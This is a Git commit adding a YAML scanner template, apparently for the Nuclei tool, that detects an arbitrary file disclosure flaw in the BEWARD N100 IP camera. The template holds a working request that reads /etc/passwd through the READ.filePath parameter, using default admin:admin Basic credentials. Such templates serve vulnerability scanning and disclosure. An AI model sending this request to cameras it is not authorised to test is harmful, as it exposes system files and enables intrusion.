Create beward-ipcamera-disclosure.yaml

patch-1
Prince Chaddha 2021-08-16 16:11:44 +05:30 committed by GitHub
parent 874d248d9b
commit 232b187a40
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 26 additions and 0 deletions

View File

@ -0,0 +1,26 @@
id: beward-ipcamera-disclosure
info:
name: BEWARD N100 H.264 VGA IP Camera M2.1.6 Arbitrary File Disclosure
description: The N100 compact color IP camera suffers from an authenticated file disclosure vulnerability. Input passed via the READ.filePath parameter in fileread script is not properly verified before being used to read files. This can be exploited to disclose the contents of arbitrary files via absolute path or via the SendCGICMD API.
reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5511.php
author: geeknik
severity: high
tags: beward,iot,camera,disclosure
requests:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/operator/fileread?READ.filePath=/etc/passwd"
headers:
Authorization: "Basic YWRtaW46YWRtaW4="
matchers-condition: and
matchers:
- type: regex
regex:
- 'root:[x*]:0:0:'
condition: or
- type: status
status:
- 200